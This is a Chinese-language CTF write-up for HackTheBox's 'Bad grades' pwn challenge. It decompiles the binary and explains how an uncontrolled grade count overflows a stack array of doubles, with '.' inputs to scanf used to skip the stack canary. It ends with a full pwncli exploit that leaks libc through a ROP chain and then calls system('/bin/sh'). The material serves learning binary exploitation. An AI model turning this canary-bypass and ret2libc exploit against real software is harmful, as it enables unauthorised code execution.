简单的题也有很多小细节上的知识收获
analysis:
checksec:无PIE,其他全开
Bad grades ➤ checksec bad_grades
[*] '/mnt/c/Users/selph/Downloads/HTB/pwn/Bad grades/bad_grades'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // ecx
int v7; // r8d
int v8; // r9d
int v10; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v11; // [rsp+8h] [rbp-8h]
v11 = __readfsqword(0x28u);
sub_400EA6(a1, a2, a3);
printf("Your grades this semester were really ");
sub_400ACB((unsigned int)"good", (unsigned int)"green", (unsigned int)"deleted", v3, v4, v5);
sub_400ACB((unsigned int)" BAD!\n", (unsigned int)"red", (unsigned int)"blink", v6, v7, v8);
printf("\n1. View current grades.\n2. Add new.\n> ");
__isoc99_scanf("%d", &v10);
if ( v10 == 1 )
sub_400F1A();
if ( v10 != 2 )
{
puts("Invalid option!\nExiting..");
exit(9);
}
sub_400FD5();
return 0LL;
}
程序里的sub_400ACB是打印彩色字体的,不用管
主要就看输入输出,这里是输入1或者2选项,输入1程序不受控,输入2即可,进入下一个函数:
unsigned __int64 sub_400FD5()
{
int v1; // [rsp+0h] [rbp-120h] BYREF
int i; // [rsp+4h] [rbp-11Ch]
double v3; // [rsp+8h] [rbp-118h]
double v4[33]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
v3 = 0.0;
sub_400ACB("Number of grades: ", "cyan", "bold");
__isoc99_scanf("%d", &v1);
for ( i = 0; i < v1; ++i )
{
printf("Grade [%d]: ", (unsigned int)(i + 1));
__isoc99_scanf("%lf", &v4[i]);
v3 = v4[i] + v3;
}
printf("Your new average is: %.2f\n", v3 / (double)v1);
return __readfsqword(0x28u) ^ v5;
}
输入需要输入的浮点数个数,这里个数可控,存在溢出,无PIE可以写ROP去drop shell
然后输入浮点数,这里需要十六进制转浮点数的函数,用pack函数即可实现
小细节:这里存在一个问题,就是canary如何绕过,这里有一个小细节:如果输入仅仅是一个单独的小数点(.
),而没有后续的数字部分,那么scanf()
函数就无法成功读取一个完整的浮点数,因此它会跳过这个无效的输入,并返回0作为读取的项目数。由此让scanf不进行输入,且成功执行完返回,由此跳过对canary的覆盖,进行返回地址修改
exploit:
hex to double:用格式化d去解包十六进制
def hex_to_double(val):
# we need to make sure it is 8 bytes so use 64bits packer
val = p64(val).hex()
# print(val) # debug to see if there is "0x" infront
# return in double (little endian)
val = struct.unpack('d', bytes.fromhex(val))[0]
# our input must be in string when sending over to the server
return str(val).encode()
full exp:
#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc.so.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def hex_to_double(val):
# we need to make sure it is 8 bytes so use 64bits packer
val = p64(val).hex()
# print(val) # debug to see if there is "0x" infront
# return in double (little endian)
val = struct.unpack('d', bytes.fromhex(val))[0]
# our input must be in string when sending over to the server
return str(val).encode()
def add_grade(grade: bytes):
sla(b"]: ",grade)
def sendrop(rop:ROP):
dump = rop.dump()
print(dump)
tmp = dump.split("\n")
for i in tmp:
tmp2 = i.split("0x")[2].split(" ")[0]
tmp3 = hex_to_double(int(tmp2, 16))
add_grade(tmp3)
# get libc base
sla(b"> ",b"2")
sla(b"Number of grades: ",b"39")
for i in range(35):
# dot(.) can skip the input
add_grade(b".")
rop = ROP([elf])
rop.puts(elf.got.puts)
rop.raw(0x400fd5)
sendrop(rop)
# get leak
ru(b"Your new average is")
rl()
laek = rl()[:-1]
leak = unpack(laek,'all')
print(hex(leak))
libc.address = leak - libc.sym.puts
log.success(f"libc.address: {hex(libc.address)}")
# get shell
sla(b"Number of grades: ",b"39")
for i in range(35):
add_grade(b".")
rop = ROP([elf,libc])
rop.raw(rop.find_gadget(['ret'])[0])
rop.system(next(libc.search(b"/bin/sh")))
sendrop(rop)
ia()
summary:
- 收获1:scanf接收浮点数,可以用
.
来作为无效输入完成函数返回 - 收获2:用unpack函数,通过格式化功能,可以将hex转换成任意目标类型,例如浮点数